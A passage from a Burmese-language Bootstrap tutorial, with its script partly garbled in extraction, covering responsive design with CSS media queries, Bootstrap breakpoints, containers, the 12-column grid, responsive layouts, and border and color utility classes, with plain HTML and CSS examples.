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ပြပီးdတာ့  spinner-grow ဆိုတဲ့  အလားတူလုပ်dဆာင်ချက်လည်း ရိှပါdသးတယ်။ သူကdတာ့ အဝုိင်း
dလး လည်dနတာ မဟုတ်dတာ့zဲ အဝုိင်းdလးက ကြကီးလိုက်dသးလုိက်နဲ့  Effect  ကိုdoာ်gပdပးမှာ goစ်ပါ
တယ်။

ဒီdလာက်ဆိုရင် အသံုးများမယ့် Components dတွ စုံသdလာက် goစ်သွားပါပြပီ။ JavaScript Component
dတွထဲမှာ  အသံုးဝင်dပမယ့်  JavaScript  ကုဒ်တစ်ချ ို ့  မgoစ်မdန  ထည့်dရးdပးo့ုိလုိတဲ့  လုပ်dဆာင်ချက်
တစ်ချ ို ့dတာ့  ကျန်ပါdသးတယ်။  ဒီအပုိင်းမှာ  JavaScript  အdeကာင်းကို  ထည့်မdgပာရdသးလုိ့  အ့ဲဒီ
လုပ်dဆာင်ချက်dတွdတာ့ ချန်ထားခဲ့လုိက်ပါတယ်။ 

dနာက်တစ်ခန်းမှာ Layouts dတွအdeကာင်း ဆက်လက်doာ်gပပါမယ်။
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အခန်း (၆) – Bootstrap Layouts

Bootstrap Layouts  အdeကာင်းမdgပာခင်  Responsive Web Design  လ့ုိdခါ်တဲ့  သdzာသzာဝတစ်ခု
အdeကာင်းကို  အရင်dgပာချင်ပါတယ်။  Responsive  Web  Design  ဆိုတာ  လုိရင်းအနှစ်ချုပ်ကdတာ့
Device   အရွယ်အစား dgပာင်းသွားရင်   Layout    က အလိုအdလျှာက် dgပာင်းပြပီး gပdပးနိုင်dအာင် oန်တီးတဲ့  
နည်းစနစ် goစ်ပါတယ်။  တစ်ခုနဲ့တစ်ခု  အရွယ်အစားမတူeကတဲ့  Device  dတွမှာ  ကိုယ့်ဝz်ဆိုက်နဲ့  App
dတွကို oွင့်လုိက်တဲ့အခါ ကွန်ပျူတာအတွက် လုပ်ထားလ့ုိ oုန်းနဲ့eကည့်လုိ့မရzူး၊ oုန်းအတွက် လုပ်ထားလို့
Tablet နဲ့eကည့်လ့ုိမရzူးဆိုတာမျ ို း မgoစ်dစo့ုိအတွက်ပါ။ Layout dလးတစ်ခု အခုလုိရှိတယ် ဆိုeကပါစို့။

 HTML 
<section>
  <nav></nav>
  <main></main>
  <aside></aside>
</section>

 CSS 
section {
    display: flex;
}
nav, main, aside {
    height: 400px;
    background: cyan;
    margin: 10px;
    flex-grow: 1;
}
main {
    flex-grow: 3;
}
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<section> ရဲ့အတွင်းထဲမှာ  <nav><main><aside> ဆိုပြပီး  Layout Element  dတရွှိdနပါတယ်။
section ရဲ့  display ကို  flex လ့ုိdgပာထားတဲ့အတွက်  nav, main နဲ့  aside တို့ကို  Column
Layout နဲ့gပdပးမှာပါ။  စမ်းeကည့်လုိက်ရင် ရလဒ်က ဒီလိုပါ –

အားလံုးအတွက် height, background, margin dတွ ကိုယ်စီသတ်မှတ်ပြပီး flex-grow မှာ 1
လ့ုိ  dgပာထားတဲ့အတွက်  ပထမ  width dတွက  ရွယ်တူပါ။  dနာက်မှ  main အတွက်  flex-grow
တန်oုိး  3  လ့ုိ dgပာင်းdပးလုိက်တဲ့အတွက် သူက သူများdတရွဲ့  (၃)  ဆgoစ်dနတာပါ။ ဒါဟာ မeကာမeကာ
dတွ့ရတဲ့ 3 Columns Layout တစ်ခုပံုစံမျ ို းပါပဲ။

gပဿနာက၊ ဒီ  Layout  ဟာ Screen အရွယ်အစားကြကီးတဲ့ ကွန်ပျူတာdတွမှာ အဆင်dgပdပမယ့်  Screen
အရွယ်အစားdသးတဲ့  Tablet  dတွ၊ oုန်းdတွမှာdတာ့ အဆင်dgပမှာ မဟုတ်ပါzူး။ ဒါdeကာင့်  အသုံးgပုတဲ့
Screen  ရဲ့  အရွယ်အစားdပါ်မူတည်ပြပီး  သင့်dတာ်သလုိ  dgပာင်းgပo့ုိလုိပါတယ်။  ဒီလုိdလး  ထပ်ထည့်
လုိက်ပါမယ်။
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 CSS 
@media (max-width: 800px) {
    section {
        flex-wrap: wrap;
    }
    aside {
        flex: 100%;
        height: 200px;
    }
}

Media Query လ့ုိdခါ်တဲ့ CSS dရးထံုးကို သံုးလုိက်တာပါ။ @media ကိုသံုးပြပီးdတာ့ dရးရပါတယ်။ max-
width မှာ 800px လ့ုိdgပာထားတဲ့အတွက် Screen Width အရွယ်အစား 800px dအာက်dရာက်dတာ့
မှ ဒီ CSS dတွ အလုပ်လုပ်မှာပါ။ ဒါdeကာင့် စမ်းeကည့်လုိက်ရင် အခုလုိရပါလိမ့်မယ်။

aside ရဲ့  flex တန်oုိး  100%  ဆိုdတာ့ သ့ူတစ်ခုထဲ အgပည့်gပသွားတာပါ။ ဒီလိုgပတဲ့အခါ dနာက်တစ်
လုိင်း ဆင်းပြပီးgပdစo့ုိအတွက်  section ရဲ့  flex-wrap ကို  wrap လ့ုိdgပာထားတာ goစ်ပါတယ်။ ဒါ
deကာင့် Table အရွယ်အစားdလာက်ဆိုရင် အဆင်dgပသွားပါပြပီ။ ကွန်ပျူတာမှာ Column (၃) ခုနဲ့gပမှာgoစ်
ပြပီး Tablet မှာဆိုရင်dတာ့ Column (၂) ခုနဲ့gပdပးသွားမှာ goစ်ပါတယ်။ Codepen ထဲမှာပဲ ရလဒ်doာ်gပတဲ့
ဧရိယာကို အကျဉ်းအကျယ် dgပာင်းပြပီး စမ်းeကည့်နိုင်ပါတယ်။
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Tablet  အတွက်  အဆင်dgပသွားdပမယ့်  oုန်းလုိ  Screen  အရမ်းdသးတဲ့အခါမှာdတာ့  အဆင်dgပဦးမှာ
မဟုတ်ပါzူး။ ဒါdeကာင့် အခုလုိdလး ထပ်ထည့်dပးလိုက်ပါမယ်။

 CSS 
@media (max-width: 500px) {
    nav, main, aside {
        flex: 100%;
        height: 200px;
    }
}

ဒီတစ်ခါdတာ့ Screen Width က 500px dအာက်ဆိုရင် လုပ်ရမယ့် CSS dတွကို dပးထားတာပါ။

nav, main, aside အားလံုးကို  flex: 100% လ့ုိdgပာလိုက်တာပါ။  ဒါdeကာင့်  အgပည့်dနရာ
ယူသွားတဲ့အတွက်  Column dတွ မရှိdတာ့ပါzူး။ အားလုံးကို အdပါ်dအာက် တန်းစီပြပီးgပသွားလ့ုိ oုန်းလ့ုိ
Screen dသးတဲ့အခါမျ ို းမှာလည်း အဆင်dgပသွားမှာပဲ goစ်ပါတယ်။

ဒီနည်းစနစ်ကို  Responsive Web Design  လ့ုိdခါ်eကတာပါ။  Screen Size    dgပာင်းရင်    Layout    က အလုိ  
အdလျှာက်   Respond   လုပ်ပြပီး doာ်gပပံု dgပာင်းdပးနိုင်တဲ့အတွက် goစ်ပါတယ်  ။
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Layout Size
ဒီdနရာမှာ  dgပာစရာရှိလာတာက  အမျ ို းမျ ို းအoံုoုံ  ကွဲgပားdနeကတဲ့  Device  dတွရဲ့  Size  ပါ။  Laptop
ကွန်ပျူတာdတွမှာ ၁၂ လက်မ၊ ၁၃ လက်မ၊ ၁၄ လက်မ၊ ၁၅ လက်မ၊ ၁၆ လက်မ၊ ၁၇ လက်မ စသgoင့်
အရွယ်အစား အမျ ို းမျ ို း ရှိeကသလုိ Desktop dတွပါ dပါင်းလိုက်ရင် ဒီထက်ပုိများပါဦးမယ်။ Tablet ဆိုရင်
လည်း  iPad, iPad Mini,  iPad Pro  စသgoင့် အမျ ို းမျ ို းရှိသလ့ုိ  Android Tablet  dတွပါ dပါင်းလုိက်ရင်
အများကြကီး ရိှဦးမှာပါ။ oုန်းdတွမှာလည်း အတူတူပါပဲ။ ၄ လက်မ၊ ၅ လက်မ၊ ၆ လက်မ အမျ ို းမျ ို းရှိeကတာမှ
5.4, 6.2 စသgoင့် ဒဿမကိန်းနဲ့dgပာရတဲ့  Size dတွမှအများကြကီးပါ။ ဒါက Screen Size ပဲ ရှိပါdသးတယ်။
Resolution  ကိုလည်း  ထည့်တွက်ရပါဦးမယ်။  တစ်ချ ို ့က  Screen  dသးdပးမယ့်  Resolution  gမင့်eကပါ
တယ်။ တစ်ချ ို ့က Screen သာကြကီးတာ Resolution နိမ့်eကgပန်ပါတယ်။ dထာင်ထားတာလား၊ လဲှထားတာ
လား စသgoင့် Portrait, Landscape Orientation ကလည်း ကွဲgပားဦးမှာပါ။

အ့ဲဒီdလာက်ထိ အရွယ်အစား စုံလင်လှတဲ့ Device dတွမှာ oုန်းဆိုရင် zယ် Size goစ်တယ်၊ Tablet ဆိရုင်
zယ် Size goစ်တယ် ဆိုပြပီး တိတိကျကျ dgပာလ့ုိမရနိုင်ပါzူး။ ဒီကိစ္စကို Touch Screen Device dတွ dပါ်
ခါစက Web Designer dတွ dတာ်dတာ်dလး dခါင်းစားခဲ့eကသလုိ၊ အdgoလည်းdတွ့ပြပီးeကပြပီ goစ်ပါတယ်။
ဒါdeကာင့် gပဿနာကို သတိgပုမိdအာင်သာ dgပာgပတာပါ၊ ကိုယ်တိုင်dခါင်းစား dgoရှင်းdနo့ုိdတာ့ မဟုတ်
ပါzူး။ အများလက်ခံ အသုံးgပုတဲ့နည်းdတွ ရှိdနပြပီးgoစ်သလုိ၊ Bootstrap ကလည်း အ့ဲဒီနည်းdတွအတိုင်း
ပဲ သွားထားပါတယ်။ Bootstrap မှ Screen Size ကို oုန်း၊ Tablet စသgoင့် Device အမျ ို းအစားနဲ့ မdgပာ
ပါzူး။  Small, Medium, Large ဆိုတဲ့အသုံးအနှုန်းdတွနဲ့ပဲ dgပာပါတယ်။ ဒီဇယားကွက်dလးကို dလ့လာ
eကည့်ပါ။

Breakpoint Class infix Dimensions

X-Small None < 576px

Small sm  576px≥

Medium md  768px≥

Large lg  992px≥

Extra large xl  1200px≥

Extra extra large xxl  1400px≥
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Size အရွယ်အစား သတ်မှတ်ချက် (၆) ခရုှိပါတယ်။ 576px ရဲ့dအာက် အရွယ်အစားကို  X-Small လ့ုိdခါ်
ပါတယ်။ oုန်းပဲgoစ်goစ် Tablet ပဲgoစ်goစ်၊ တgခား Device dတွပဲgoစ်goစ်၊ 576px dအာက် dသးတဲ့ Screen
အားလံုးကို X-Small လ့ုိ သတ်မှတ်ပြပီး အလုပ်လုပ်သွားမှာပါ။ 576px နဲ့ 768px eကားကိုdတာ့ Small လ့ုိ
ပဲသတ်မှတ်ပြပီး  768px နဲ့  992px eကားထဲက  Size  ကိုdတာ့  Medium  လ့ုိသတ်မှတ်ပါတယ်။  ဒီနည်း
အတိုင်း ဆက်eကည့်သွားရမှာပါ။

အရွယ်အစားတစ်ခုချင်းစီအတွက်  sm, md, lg စသgoင့်  Size  Class  dတွလည်း  dပးထားပါတယ်။
Pixel Size  dတွ မှတရ်ခက်လ့ုိ  Device  အမျ ို းအစားနဲ့  မှတ်ချင်ရင်လည်း ဒီလိုမျ ို း  အeကမ်းoျဉ်းမှတ်နိုင်ပါ
တယ်။ Extra Small အုပ်စုထဲမှာ oုန်းdတွ ပါပါတယ်။  Small (sm) အုပ်စုထဲမှာ Landscape Mode နဲ့ သံုး
တဲ့oုန်းdတွ၊  Tablet  အdသးdတွ  ပါနိုင်ပါတယ်။  Medium  (md)  အုပ်စုထဲမှာ  Tablet  dတွနဲ့  dသးတဲ့
Laptop dတွ ပါနိုင်ပါတယ်။ Large (lg) အုပ်စုထဲမှာ Landscape Mode နဲ့သံုးတဲ့ Tablet dတွ၊ iPad Pro
လုိ  Screen  ကြကီးတဲ့  Tablet  dတွနဲ့  Laptop  အများစု  ပါဝင်နိုင်ပါတယ်။  Extra Large (xl)  အုပ်စုထဲမှာ
Resolution  gမင့်တဲ့  Laptop  dတွ  Desktop  dတွ ပါနိုင်ပါတယ်။  Extra Extra Large (xxl)  အုပ်စုထဲမှာ
dတာ့ 8k, 4k, HD Screen အကြကီးကြကီးdတွနဲ့ ကွန်ပျူတာdတွ၊ Smart TV dတzွာdတွ ပါနိုင်ပါတယ်။

sm, md, lg, xl, xxl စတဲ့ Size Class dလးdတွကို dသချာမှတ်ထားdပးပါ။ Layout မှာသာမက
dနရာအdတာ်များများမှာ Size သတ်မှတ်o့ုိလုိတိုင်း ဒီ Class dတွကို သံုးပါတယ်။ 

Layout Container
အdgခခံအားgoင့်  ဝz်ဆိုက်တစ်ခရုဲ့  Content  အားလံုးဟာ  Container  ထဲမှာ ရိှသင့်ပါတယ်။  Container
Class  dတွ  Size  dပါ်မူတည်ပြပီး  အမျ ို းမျ ို းရှိdပမယ့်  နှစ်ခdုရွးပြပီး  မှတ်ထားရင် ရပါပြပီ။  container နဲ့
container-fluid goစ်ပါတယ်။

Facebook  တို့  Twitter  တို့လုိ ဝz်ဆိုက်မျ ို းdတွကို မျက်စိထဲမှာ gမင်eကည့်ပါ။  Content  dတွကို  Layout
တစ်ခုနဲ့  အလယ်မှာစုပြပီး  doာ်gပထားeကပါတယ်။  ဒီသdzာကို  Fixed  Width  Layout လ့ုိdခါ်ပါတယ်။
Gmail တို့ YouTube တို့လ့ုိ App dတွကို မျက်စိထဲမှာ gမင်eကည့်ပါ။ Screen အကျယ်ရှိသdလာက် အgပည့်
ယူပြပီး Content dတွကို doာ်gပထားeကပါတယ်။ ဒီသdzာကို Fluid Layout လ့ုိdခါ်eကပါတယ်။
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Fixed  Width  Layout  dတွ  oန်တီးလုိရင်  container Class  ကိုသုံးနိုင်ပါတယ်။  သူက  Layout  ကို
Width  သတ်မှတ်ပြပီး  Screen  ရဲ့အလယ်မှာ  gပdပးပါတယ်။  Fluid  Layout  dတွ  oန်တီးလုိရင်dတာ့
container-fluid ကို သံုးနိုင်ပါတယ်။ သူကdတာ့ Screen အgပည့် dနရာယူdပးပါတယ်။

နမူနာမှာgပထားသလုိdရးပြပီး  စမ်းeကည့်လ့ုိရပါတယ်။  container Class  dပးထားတဲ့  Element  က
အလယ်မှာ  dနရာယူdoာ်gပပြပီးdတာ့၊  container-fluid Class  dပးထားတဲ့  Element  ကdတာ့
အgပည့်dနရာယူ doာ်gပတာကို dတွ့ရမှာ goစ်ပါတယ်။  CSS  ထဲမှာ  html နဲ့  body အတွက်  height:
100% dပးထားတာကိုလဲ  သတိgပုပါ။  အ့ဲဒီလိုdပးထားမှ  Container  dတွမှာသတ်မှတ်ထားတဲ့  h-50
(height: 50%) က အလုပ်လုပ်မှာ မ့ုိလ့ုိပါ။

Grid System
Bootstrap  က  Layout  dတွoန်တီးoို့အတွက်  12 Columns Grid  dခါ် အပုိင်း  (၁၂)  ပုိင်းကို  အdgခခံတဲ့
စနစ်ကို သံုးပါတယ်။ ဒီလုိပံုစံပါ။

1 1 1 1 1 1 1 1 1 1 1 1

12

2 4 6
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Column  တစ်ခုက  Row  တစ်ခုလံုးအgပည့်  dနရာယူချင်ရင်  (၁၂)  ပုိင်းလုံးကို  ယူလုိက်လ့ုိရပါတယ်။
တစ်ဝက်ပဲလုိချင်ရင် (၆) ပုိင်းယူလ့ုိရပါတယ်။ ဒီသdzာနဲ့ (၁၂) ပုိင်းရှိတဲ့ထဲက ကိုယ်လုိသdလာက် ပုိင်းယူ
လ့ုိရတဲ့စနစ်မျ ို းပါ။

zာdeကာင့် (၁၂) ပုိင်းကိုသံုးသလဲဆိုdတာ့၊ စဉ်းစားeကည့်ပါ။ (  ၁၂  )   ကို ၂  ,   ၃  ,   ၄  ,   ၆ အားလံုးနဲ့ စားလုိ့gပတ်တဲ့  
အတွက်   (  ၂  )   ပုိင်း   (  ၃  )   ပုိင်း   (  ၄  )   ပုိင်း စသည်goင့် အညီခွဲယူလ့ုိရနိုင်ပါတယ်  ။ ဒီလုိပါ –

12

6 6

4 4 4

3 3 3 3

ဒါdeကာင့်  Layout  dတွကို စီစီညီညီနဲ့ သပ်သပ်ရပ်ရပ် ရရှိမှာgoစ်ပါတယ်။ ဒါမျ ို းdတွက အdeကာင်းမ့ဲ goစ်
dပါ်လာတာမျ ို း မဟုတ်zဲ လက်dတွ့ အdတွ့အကြကုံdတွdပါ်မှာ အdgခခံgoစ်dပါ်လာတဲ့ ကိစ္စမျ ို းdတွပါ။ 

Bootstrap  ရဲ့  Grid System  ကို အသံုးgပုoုိ့အတွက်  row နဲ့  col ဆိုတဲ့  Class  dတွကို သံုးနိုင်ပါတယ်။
အထက်မှာ doာ်gပထားတဲ့ Grid ပံုစံရo့ုိဆိုရင် Bootstrap နဲ့ ဒီလိdုရးdပးရမှာပါ။

 HTML 
<div class="row">
    <div class="col-12"></div>
</div>
<div class="row">
    <div class="col-6"></div>
    <div class="col-6"></div>
</div>
<div class="row">
    <div class="col-4"></div>
    <div class="col-4"></div>
    <div class="col-4"></div>
</div>

သိသင့်တဲ့ သdzာသzာဝdတွကိုသာ သိထားမယ်ဆိုရင် dရးနည်းက မခက်ပါzူး။ row ထဲမှာ col dတွ
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ရိှပြပီး ပုိင်းပြပီးdတာ့လုိချင်တဲ့ အdရအတွက်ကို col ရဲ့dနာက်မှာ တွဲထည့်dပးရတာပါ။ အdရအတွက် ထည့်
မdပးရင်လည်း  ရပါတယ်၊  တစ်ခရုှိရင်တစ်ခု၊  နှစ်ခုရှိရင်နှစ်ခု၊  ရိှသdလာက်  ရွယ်တူ  အညီယူdပးမှာgoစ်ပါ
တယ်။ ဒါdeကာင့် အdပါ်ကကုဒ်ကို ဒီလုိdရးရင်လည်း ရလဒ်အတူတူပါပဲ။

 HTML 
<div class="row">
    <div class="col"></div>
</div>
<div class="row">
    <div class="col"></div>
    <div class="col"></div>
</div>
<div class="row">
    <div class="col"></div>
    <div class="col"></div>
    <div class="col"></div>
</div>

အdပါ်ဆုံး  row မှာ col တစ်ခုထဲရှိလ့ုိ တစ်ခုထဲ အgပည့်ယူလုိက်မှာပါ။ ဒုတိယ row မှာ နှစ်ခုရှိလ့ုိ နှစ်ခု
အညီ တစ်ဝက်စီယူdပးလုိက်မှာပါ။ လက်dတွ့dရးသား စမ်းသပ်လုိရင်လည်း ဒီလုိdလးစမ်းeကည့်ပါ။

CSS ထဲမှာ height dတွ border dတွကို gမင်သာdအာင် ထည့်dပးထားတာကို သတိgပုပါ။ Layout ရဲ့
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dနရာယူပံုကdတာ့  ကိုယ်dရးdပးစရာ မလုိdတာ့ပါzူး။  row dတွ  col dတွ  dပးလုိက်ယံုနဲ့  လုိချင်တဲ့
ရလဒ်ကို ရရိှမှာ goစ်ပါတယ်။ Column dတွကို အညီမယူzဲ ကိုယ်လုိသdလာက် ယူပြပီးစမ်းeကည့်ချင်ရင် ဒီ
လုိdလး စမ်းလိုက်ပါ။

ဒီတစ်ခါdတာ့  col-3, col-6 စသgoင့် ကိုယ်လိုသdလာက် ပုိင်းယူလုိက်လ့ုိ အလယ်က  Column  ကို
ခပ်ကြကီးကြကီးdနရာယူပြပီး  dzးတစ်zက်တစ်ချက်က  Column  dတွကို  ခပ်dသးdသး  dနရာယူdပးတာကို
dတွ့ရမှာပဲ goစ်ပါတယ်။

Responsive Layouts
Responsive Layout dတွ ရရိှo့ုိအတွက်dတာ့ အdပါ်နားမှာ dgပာခဲ့တဲ့  Size Class dတွကို တွဲသံုးdပးရပါ
တယ်။ ဥပမာ - ဒီကုဒ်dလးကို dလ့လာeကည့်ပါ။

 HTML 
<div class="row">
    <div class="col-12 col-md-4 col-lg-3"></div>
    <div class="col-12 col-md-8 col-lg-6"></div>
    <div class="col-12 col-md-12 col-lg-3"></div>
</div>
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ဒီကုဒ်ရဲ့အဓိပ္ပါယ်က၊ Column (၃) ခုလံုးအတွက် col-12 လ့ုိ dပးထားတဲ့အတွက် အgပည့်dနရာယူမှာgoစ်
ပါတယ်။ ဒါdeကာင့် Default အdနနဲ့ အdပါ်dအာက်ဆင့်ပြပီးdတာ့ပဲ doာ်gပမှာပါ။ အကယ်၍ Medium Size
(Tablet)  goစ်ခဲ့မယ်ဆိုရင်dတာ့  col-md-{x} ကိုသုံးပြပီး  4-8-12 လ့ုိ  Column Layout  ကို သတ်မှတ်
dပးထားပါတယ်။ ဒါdeကာင့်  Column  နှစ်ခုပါတဲ့  2  Columns Layout  အgoစ်ကို  dgပာင်းသွားမှာ  goစ်ပါ
တယ်။ Large Size (ကွန်ပျူတာ) goစ်ခဲ့မယ်ဆိုရင်dတာ့ col-lg-{x} ကိုသံုးပြပီး 3-6-3 လ့ုိ သတ်မှတ်
ထားတဲ့အတွက်  Column  သံုးခုပါတဲ့  3 Columns Layout  goစ်သွားမှာပဲ goစ်ပါတယ်။ လက်dတွ့ dရးပြပီး
စမ်းeကည့်နိုင်ပါတယ်။

အခုနမူနာရလဒ်မှာ doာ်gပစရာ dနရာကျယ်တဲ့အတွက် lg Size သက်ဝင်dနလ့ုိ 3 Columns Layout တစ်
ခုကို  ရရိှdနgခင်း goစ်ပါတယ်။  3-6-3 ပံုစံdနရာယူထားပါတယ်။ ဒီကုဒ်ကိုပဲ  နည်းနည်းdနရာချုံ့ပြပီး  စမ်း
eကည့်လိုက်ရင်dတာ့ အခုလုိပုံစံgoစ်သွားမှာပါ။
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ဒီရလဒ်မှာdတာ့  dနရာ ကျဉ်းသွားပြပီgoစ်လို့  md Size  သက်ဝင်ပြပီး  2  Columns  Layouts  တစ်ခုအdနနဲ့
အလုပ်လုပ်dနတာကို dတွ့gမင်ရgခင်းပဲgoစ်ပါတယ်။ ဒီထက်ထပ်ချုံ့လုိက်ရင်dတာ့ အခုလုိdတွ့ရမှာပါ။

ဒီရလဒ်မှာ  dနရာdတာ်dတာ်dလး  ကျဉ်းသွားပြပီမ့ုိလ့ုိ  md dတွ  lg dတွ  အလုပ်မလုပ်dတာ့zဲ  Default
အတိုင်း အgပည့်dတွ dနရာယူထားတဲ့အတွက် Single Column Layout တစ်ခုကို ရရှိgခင်းပဲgoစ်ပါတယ်။ 
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ဒီနည်းနဲ့  Bootstrap  ကိုအသံုးgပုပြပီး  Responsive Layouts  dတွoန်တီးနိုင်မှာ goစ်ပါတယ်။ အdတွ့ရများ
တဲ့ ဝz်ဆိုက် Layout dလးတစ်ခုကို နမူနာအdနနဲ့ ထပ်dပးချင်ပါတယ်။ dရးရမယ့်ကုဒ်က ဒီလိုပါ –

 HTML 
<main class="bg-secondary py-5">
  <div class="container bg-light">
    <div class="bg-light" style="height: 400px"></div>
  </div>
</main>
<section class="container py-5">
  <div class="row g-5">
    <div class="col-12 col-md-6 col-lg-3">
      <div class="bg-secondary" style="height: 200px"></div>
    </div>
    <div class="col-12 col-md-6 col-lg-3">
      <div class="bg-secondary" style="height: 200px"></div>
    </div>
    <div class="col-12 col-md-6 col-lg-3">
      <div class="bg-secondary" style="height: 200px"></div>
    </div>
    <div class="col-12 col-md-6 col-lg-3">
      <div class="bg-secondary" style="height: 200px"></div>
    </div>
  </div>
</section>
<footer class="container">
  <div class="border-top border-top-2 py-5 text-center text-muted">
    &copy; Copyright 2020
  </div>
</footer>

တစ်ချ ို ့သတိgပုသင့်တဲ့ လုပ်dဆာင်ချက်dတွအdeကာင်း dgပာgပပါမယ်။  py-5 ဆိုတဲ့  Class  က Padding
Top/Bottom  အတွက်ပါ။  Padding  Left/Right  အတွက်လုိချင်ရင်dတာ့  px- ကိုသုံးနိုင်ပါတယ်။  g-5
Class မှာပါတဲ့  g ရဲ့ အဓိပ္ပါယ်က Gutter  goစ်ပါတယ်။  Column တစ်ခုနဲ့တစ်ခုeကား အကွာအdဝးပါ။   5
က အgမင့်ဆုံးgoစ်ပြပီး  1, 2, 3, 4 တန်oုိးdတွ dgပာင်းစမ်းeကည့်နိုင်ပါတယ်။  border Class  dတကွdတာ့
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အထူးdgပာစရာ မလုိပါzူး။  Class  အမည်မှာ အဓိပ္ပါယ်dပါ်dနပါပြပီ။  text-muted ကdတာ့ စာdတွကို
နည်းနည်းမှိန်ပြပီး gပdစo့ုိ goစ်ပါတယ်။ ဒီလုိအသံုးဝင်တဲ့  Utility Class  dတွအdeကာင်းကို  dနာက်တစ်ခန်း
မှာ သီးgခားထပ်dလ့လာeကပါဦးမယ်။

ကျန်တဲ့ လုပ်dဆာင်ချက်dတွအdeကာင်းကိုdတာ့ dရးထားတဲ့ကုဒ်ကို dသချာoတ်ပြပီးdတာ့ပဲ dလ့လာeကည့်
လုိက်ပါ။ စမ်းeကည့်လုိက်ရင် ရမယ့်ရလဒ်ကdတာ့ အခုလုိgoစ်မှာပါ။

ဒါဟာ အdတွ့ရများတဲ့ ဝz်ဆိုက်  Layout  ပံုစံတစ်ခုပါပဲ။  Responsive Layout Class  dတွလည်း တစ်ခါ
ထဲ  ထည့်dရးပြပီးသားမ့ုိလို့  Screen  ကို  ချုံ့ချဲပြပီး  အမျ ို းမျ ို းစမ်းeကည့်နိုင်ပါတယ်။  Layout  က သင့်dတာ်
dအာင် အလုိအdလျှာက် dgပာင်းပြပီး gပdပးတယ်ဆိုတာကို dတွ့ရမှာပဲ goစ်ပါတယ်။

ဒီ  Layout  ထဲမှာ  Carousel  dတွ  Navbar  dတွ  Card  dတွ သ့ူdနရာနဲ့သူ  အစားထိုး  ထည့်dပးလုိက်ရင်
လက်dတွ့  အသံုးချ  ဝz်ဆိုက်  Template  တစ်ခု  goစ်သွားနိုင်ပါတယ်။  စမ်းသပ်  ထည့်သွင်း  eကည့်o့ုိ
တိုက်တွန်းပါတယ်။
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အခန်း (၇) – Bootstrap Utility Classes

Bootstrap  ကdပးထားတဲ့  Components  dတွ  Layouts  လုပ်dဆာင်ချက်dတွဟာ အdတာ်လံုးgပည့်စုံdပ
မယ့် လက်dတွ့မှာ ကိုယ့်လုိအပ်ချက်နဲ့ ကိုက်ညီdအာင် goည့်စွက်ရတာdတွ၊ gပင်ဆင်ရတာdတွ ရိှပါတယ်။
အ့ဲဒီလုိ goည့်စွက်gပင်ဆင်ရတာdတွ လုပ်တဲ့အခါ  CSS  dတွအပြမဲတမ်း dရးစရာမလုိပါzူး။ လုိအပ်dလ့ရှိတဲ့
လုပ်dဆာင်ချက်dတွအတွက် Bootstrap က ကြကိုdရးdပးထားတဲ့ Utility Classes dတွ ရှိeကပါတယ်။ အ့ဲဒီ
Class dတွအdeကာင်းကို စုစည်းပြပီးdတာ့ doာ်gပချင်ပါတယ်။

Borders
Border  Utility  Classes  တစ်ချ ို ့ကို  dရှ့ ပုိင်းနမူနာdတွမှာလည်း  သံုးgoစ်ခဲ့ပါတယ်။  Element  dတွ
Component  dတွမှာ  Border  ထည့်သွင်းo့ုိလိုရင်  Bootstrap  ရဲ့  border Class  ကိုသံုးနိုင်ပါတယ်။
border-top, border-left စသgoင့်  တစ်zက်ချင်းစီလည်း  ထည့်သွင်းလ့ုိရပါတယ်။  Card  တို့
List  Group  တို့လုိ  Border  ရိှပြပီးသား  Component  dတွအတွက်  Border  ရဲ့  အdရာင်ကိုdgပာင်းချင်ရင်
dတာ့ border-{color} Classes dတွကို သံုးနိုင်ပါတယ်။

 HTML 
<p class="border border-primary">
  Some Content
</p>

dပးထားတဲ့နမူနာက <p> Element မှာ Border ထည့်လုိက်ပြပီး အ့ဲဒီ Border ရဲ့အdရာင်ကို primary လ့ုိ
သတ်မှတ်dပးလုိက်တာပါ။  ဒီနည်းနဲ့  မည်သည့်  Element  မှာမဆို  Border  dတွ  ထည့်သွင်းနိုင်ပါတယ်။
Border ရဲ့ Size dတွ Radius dတွလည်း သတ်မှတ်လ့ုိရပါdသးတယ်။ ဒီလုိပါ –
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 HTML 
<p class="border
          border-2
          border-primary
          rounded
          p-2">Some Content</p>

border-2 နဲ့  Size  ကို  သတ်မှတ်dပးထားပါတယ်။  2  အစား  5  ထိdပးလို့ရပါတယ်။  rounded နဲ့
Border Radius  ထည့်ထားပါတယ်။  rounded-circle နဲ့  rounded-pill လည်းရှိပါdသးတယ်။
zာကွာလဲ သိရo့ုိအတွက် ကိုယ်တိုင်သာdရးထည့်ပြပီး စမ်းeကည့်လုိက်ပါ။ Border ပါdနပြပီး မလုိချင်လ့ုိ gပန်
goုတ်ချင်ရင်လည်း  border-0 နဲ့  gပန်goုတ်နိုင်ပါတယ်။  border-top-0,  border-left-0
စသည်goင့်လည်း ရိှပါdသးတယ်။ တစ်ခုချင်းလုိက်မှတ်dနရင် မှတ်စရာdတွ  များပါတယ်။ လက်dတွ့စမ်း
eကည့်လိုက်လ့ုိ သdzာသzာဝ သိသွားရင် ပုိမှတ်လို့dကာင်းပါတယ်။

Color
Color Classes dတွကိုလည်း dရှ့ ပုိင်းနမူနာdတွမှာ သံုးခဲ့eကပြပီးgoစ်ပါတယ်။ အထူးသgoင့် background
နဲ့  text အတွက် အdရာင်dတွသတ်မှတ်လုိရင် သံုးရတာပါ။  text-primary, text-success,
bg-info,  bg-warning စသgoင့်  လုိအပ်တဲ့  dနရာတိုင်းမှာ  သတ်မှတ်နိုင်ပါတယ်။  ကျန်dနတဲ့
အသံုးဝင်တာdလးတစ်ချ ို ့ ထည့်dgပာချင်ပါတယ်။

• text-muted
• text-black-50
• text-white-50
• bg-white
• bg-transparent

text-muted ကိုdတာ့ ပြပီးခဲ့တဲ့ နမူနာတစ်ခုမှာ ထည့်သံုးdပးခဲ့ပါတယ်။ စာကို နည်းနည်း မိှန်ပြပီးgပမှာပါ။
text-black-50 နဲ့  text-white-50 ကလည်း အလားတူပဲ၊ နည်းနည်းစီ အdရာင်မိှန်ထားdပးတဲ့
စာdတွကို လုိချင်တဲ့အခါ သံုးနိုင်ပါတယ်။ bg-transparent ကိုdတာ့ မူလက Background အdရာင်
ပါdနတဲ့ Component တစ်ခုမှာ Background အdရာင် gပန်goုတ်ချင်တဲ့အခါ သံုးနိုင်ပါတယ်။
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ထူးgခားချက်အdနနဲ့ bg-gradient ဆိုတာလည်း ရိှပါdသးတယ်။ ဒီလုိdလးစမ်းeကည့်လိုက်ပါ –

 HTML 
<p class="bg-danger
          text-white
          bg-gradient
          p-2">Some Content</p>

